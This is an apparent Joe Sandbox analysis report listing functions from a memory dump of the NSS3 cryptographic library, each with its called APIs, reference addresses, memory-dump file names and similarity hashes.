Instruction Fuzzy Hash: 4E314CB06043009BD7208F14DE48BAA77E4AF8676CF504A69F8745BBC1E736A309C797

Function 6C703E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C7040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C703F7F,?,00000055,?,?,6C701666,?,?), ref: 6C7040D9
Part of subcall function 6C7040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C701666,?,?), ref: 6C7040FC
Part of subcall function 6C7040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C701666,?,?), ref: 6C704138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
PL_FreeArenaPool.NSS3 ref: 6C703F14
PL_FinishArenaPool.NSS3 ref: 6C703F1C

Part of subcall function 6C7664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C76127C,00000000,00000000,00000000), ref: 6C76650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

Strings

security, xrefs: 6C703EBC

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 935ba537dc96562642d3f969817fdf63b61e9442a944089f73250fa584bfa2da
Instruction ID: 6fc9c42d5b0311e2f13885ded6ba45c189f23c0063ae00a76e12e20007efa91b
Opcode Fuzzy Hash: 935ba537dc96562642d3f969817fdf63b61e9442a944089f73250fa584bfa2da
Instruction Fuzzy Hash: 2921F8B2A04300ABD7148B15AD09FAB77A8BB4971CF44093DF959A7B41E730E618879A

Function 6C74CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C74CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C74CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C74D079

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 3b5166052e4fe789b73349b869cde41bceacf460ffecf59a3c84ef3a51779d4e
Instruction ID: 9c91fa441209e0453d0a3962e0650bcf71c919b157c09a8c164bbd1191e66a4b
Opcode Fuzzy Hash: 3b5166052e4fe789b73349b869cde41bceacf460ffecf59a3c84ef3a51779d4e
Instruction Fuzzy Hash: B2C1A0B1A002199BDB20CF24CD84BDAB7B4BF48318F1481A8E94897751E775EE99CF94

Function 6C73DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7497C1,?,00000000,00000000,?,?,?,00000000,?,6C727F4A,00000000), ref: 6C73DC68

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DFAA

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 045038d18f7157e9b3e3757dc5a5d9422d0e9111fa156f77bd76b1d1039698b5
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 1D8138B06A25258BFB104E29CA903597ADADB70349F20A43ED91DCAFD3E774C494C60E

Function 6C713C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C713C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C713C94

Part of subcall function 6C7095B0: TlsGetValue.KERNEL32(00000000,?,6C7200D2,00000000), ref: 6C7095D2
Part of subcall function 6C7095B0: EnterCriticalSection.KERNEL32(?,?,?,6C7200D2,00000000), ref: 6C7095E7
Part of subcall function 6C7095B0: PR_Unlock.NSS3(?,?,?,?,6C7200D2,00000000), ref: 6C709605

PORT_NewArena_Util.NSS3(00000800), ref: 6C713CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C713CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C713CE1

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: dbf01b1e9b4ea44d432f3459ab2aae7be1cd0f784a3e2f8136d43a096fe79991
Instruction ID: e6398f4d9dead3130cfc57302371d974a7a34a43e44bfc323283872d3ed29307
Opcode Fuzzy Hash: dbf01b1e9b4ea44d432f3459ab2aae7be1cd0f784a3e2f8136d43a096fe79991
Instruction Fuzzy Hash: 1561B5B1A04300ABEB105E65DE49FA776BDAF04748F4C8078FD099AE52F731D918C7A1

Function 6C753D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

TlsGetValue.KERNEL32 ref: 6C753D8B
EnterCriticalSection.KERNEL32(?), ref: 6C753D9F
PR_Unlock.NSS3(?), ref: 6C753DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C753DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C753E4F

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

TlsGetValue.KERNEL32 ref: 6C753E97
EnterCriticalSection.KERNEL32(?), ref: 6C753EAB
PR_Unlock.NSS3(?), ref: 6C753ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C753EEE

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: ec5aeac127be6aeb65f5a9c8901c06f5781a431fcc8de2d7ab2132dd12edbd73
Instruction ID: ff061320ae1769ee4a764b13fc62df91c5ca9770123f0cd641609f0cfcd0d0f0
Opcode Fuzzy Hash: ec5aeac127be6aeb65f5a9c8901c06f5781a431fcc8de2d7ab2132dd12edbd73
Instruction Fuzzy Hash: 42514771E002019FEB11AF69DE49B6A73F8AF45318F854178DE0947A22EF31E864CBD1

Function 6C702C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(C9FB05D3), ref: 6C702C5D

Part of subcall function 6C760D30: calloc.MOZGLUE ref: 6C760D50
Part of subcall function 6C760D30: TlsGetValue.KERNEL32 ref: 6C760D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C702C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C702CE0

Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E
Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33
Part of subcall function 6C702E00: TlsGetValue.KERNEL32 ref: 6C702E4E
Part of subcall function 6C702E00: EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
Part of subcall function 6C702E00: PL_HashTableLookup.NSS3(?), ref: 6C702E71
Part of subcall function 6C702E00: PL_HashTableRemove.NSS3(?), ref: 6C702E84
Part of subcall function 6C702E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
Part of subcall function 6C702E00: PR_Unlock.NSS3 ref: 6C702EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C702D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C702D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C702D3F
free.MOZGLUE(00000000), ref: 6C702D73
CERT_DestroyCertificate.NSS3(?), ref: 6C702DB8
free.MOZGLUE ref: 6C702DC8

Part of subcall function 6C703E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
Part of subcall function 6C703E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6
Part of subcall function 6C703E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE
Part of subcall function 6C703E60: PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
Part of subcall function 6C703E60: PL_FreeArenaPool.NSS3 ref: 6C703F14
Part of subcall function 6C703E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 0f5141a072f3e7fd5d39799386cec90768cdee1e41bccb5f187f48719e5cf76e
Instruction ID: cb994e7b5d94ef4b8fd978588da8294331ef4618e1588d0908030055a993c513
Opcode Fuzzy Hash: 0f5141a072f3e7fd5d39799386cec90768cdee1e41bccb5f187f48719e5cf76e
Instruction Fuzzy Hash: 7D51DEB2B042129BDB119E29DE8AB5B77E5EF84348F140439EC5983751EB31EC15CB92

Function 6C728F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C72905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7290EC

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729111

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: adc9101c25eec0d7bfdb43b9337406391258416b7b032c6d72e0bf8f52107497
Instruction ID: e420751dd47f9d31a489ea48451b41663505dd91bdf06aabfece555f977a1b98
Opcode Fuzzy Hash: adc9101c25eec0d7bfdb43b9337406391258416b7b032c6d72e0bf8f52107497
Instruction Fuzzy Hash: 5251BE71A042058FDB50EF39C5882A9BBF1BF0A318F095579DC448B716EB39E885CBC1

Function 6C707CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C703F7F,?,00000055,?,?,6C701666,?,?), ref: 6C7040D9
Part of subcall function 6C7040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C701666,?,?), ref: 6C7040FC
Part of subcall function 6C7040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C701666,?,?), ref: 6C704138

PR_GetCurrentThread.NSS3 ref: 6C707CFD

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C829030), ref: 6C707D1B

Part of subcall function 6C75FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C701A3E,00000048,00000054), ref: 6C75FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C829048), ref: 6C707D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C707D50
PR_GetCurrentThread.NSS3 ref: 6C707D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C707D7D
free.MOZGLUE(?), ref: 6C707D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C707DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C707E19

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 339946b029bd5e7d5ba5c571765c9e27ffdefa9011af83470b0aa05a5bd8c80c
Instruction ID: 683b21314a5bc0a4357cc56a2d43ecabd00d0af3d8f069203bb21ffa1a346837
Opcode Fuzzy Hash: 339946b029bd5e7d5ba5c571765c9e27ffdefa9011af83470b0aa05a5bd8c80c
Instruction Fuzzy Hash: C441E6B2B0011A9BDF009E699E4ABAF37E4AF5035CF050074EC19ABB51E730E955C7E1

Function 6C717EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C7180DD), ref: 6C717F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C7180DD), ref: 6C717F36
free.MOZGLUE(?,?,?,6C7180DD), ref: 6C717F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C7180DD), ref: 6C717F5D
DeleteCriticalSection.KERNEL32(?,6C7180DD), ref: 6C717F94
free.MOZGLUE(?), ref: 6C717F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C7180DD), ref: 6C717FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C7180DD), ref: 6C717FE6
free.MOZGLUE(?,6C7180DD), ref: 6C71802D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: d511b1ffabcda95c23e49383c4157a7a378d78c07404c7e0a80c93f2815f6f51
Instruction ID: 7c62dd718aea76ee73f3694211b06e6f1bf045f57f7b5a98339069cb4796855a
Opcode Fuzzy Hash: d511b1ffabcda95c23e49383c4157a7a378d78c07404c7e0a80c93f2815f6f51
Instruction Fuzzy Hash: 93412AB1B091008BDB209FBAC98DA5737B9AB4735CF091279E51983F80D738E415CBD1

Function 6C75FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C75FF00

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C75FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C75FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C75FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C75FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C75FF8C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 5871d7baadfcb6a83194fd4b9348b65b472eee610c63f513ab00a2162476f5b8
Instruction ID: a3009305d50ddd68e876f27f48a9fc1371623d8c7d4927669d8a47505921bb82
Opcode Fuzzy Hash: 5871d7baadfcb6a83194fd4b9348b65b472eee610c63f513ab00a2162476f5b8
Instruction Fuzzy Hash: FD3168F2D053129BEB108E9A9E48B5B76A8AF42348F140139ED19D7F80FB72D924C7D1

Function 6C6A7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C6A7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A7F2E

Strings

%s at line %d of [%.10s], xrefs: 6C6A7EE7, 6C6A7F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A7ED8, 6C6A7F08, 6C6A7F19
database corruption, xrefs: 6C6A7EE2, 6C6A7F23

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
